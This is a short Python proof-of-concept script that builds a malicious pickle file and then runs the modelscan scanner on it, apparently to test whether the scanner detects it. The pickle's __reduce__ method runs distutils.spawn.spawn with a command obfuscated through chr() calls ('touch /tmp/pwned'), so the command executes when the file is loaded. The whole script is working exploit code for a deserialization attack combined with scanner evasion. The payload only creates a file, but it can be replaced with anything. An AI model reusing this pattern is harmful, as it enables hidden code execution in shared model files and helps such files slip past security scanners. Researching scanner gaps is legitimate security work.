| #!/usr/bin/env python3 | |
| import distutils.spawn | |
| import pickle | |
| class Exploit: | |
| def __reduce__(self): | |
| return (distutils.spawn.spawn, ([chr(116)+chr(111)+chr(117)+chr(99)+chr(104)+' /tmp/pwned'],)) | |
| payload = pickle.dumps(Exploit()) | |
| with open("malicious_distutils.pkl", "wb") as f: | |
| f.write(payload) | |
| print(f"Payload size: {len(payload)} bytes") | |
| import subprocess, os | |
| result = subprocess.run(['modelscan', 'scan', 'malicious_distutils.pkl'], capture_output=True, text=True) | |
| print("modelscan result:", result.stdout) | |